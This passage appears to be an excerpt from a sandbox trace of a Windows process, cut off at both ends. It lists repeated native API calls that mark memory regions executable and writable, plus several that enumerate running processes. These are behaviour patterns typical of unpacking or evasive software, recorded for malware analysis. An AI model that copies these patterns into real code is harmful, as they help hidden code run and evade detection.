OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x413000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x416000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x416000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x417000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x417000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x420000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x420000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x420000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x420000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x421000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x421000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x422000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x422000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x422000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x422000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x423000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x423000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x424000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x424000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x425000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x425000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x426000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x426000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x427000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x427000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x428000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x428000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x429000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x429000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x429000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x429000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x42a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x42a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x42b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x42b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x42b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x42b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x42c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x42c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.440] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8e420*=0x0, ZeroBits=0x0, RegionSize=0x1eb8e424*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x1eb8e420*=0x1f0000, RegionSize=0x1eb8e424*=0x10000) returned 0x0 [0349.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1f0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x1f0000, ResultLength=0x0) returned 0xc0000004 [0349.445] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1eb8eaac*=0x1f0000, RegionSize=0x1eb8e444, FreeType=0x8000) returned 0x0 [0349.445] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8e40c*=0x0, ZeroBits=0x0, RegionSize=0x1eb8e410*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x1eb8e40c*=0x1ecd0000, RegionSize=0x1eb8e410*=0x20000) returned 0x0 [0349.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ecd0000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x1ecd0000, ResultLength=0x0) returned 0xc0000004 [0349.447] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1eb8eaac*=0x1ecd0000, RegionSize=0x1eb8e444, FreeType=0x8000) returned 0x0 [0349.447] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8e40c*=0x0, ZeroBits=0x0, RegionSize=0x1eb8e410*=0x30000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x1eb8e40c*=0x1ecd0000, RegionSize=0x1eb8e410*=0x30000) returned 0x0 [0349.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ecd0000, Length=0x30000, ResultLength=0x0 | out: SystemInformation=0x1ecd0000, ResultLength=0x0) returned 0x0 [0349.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, 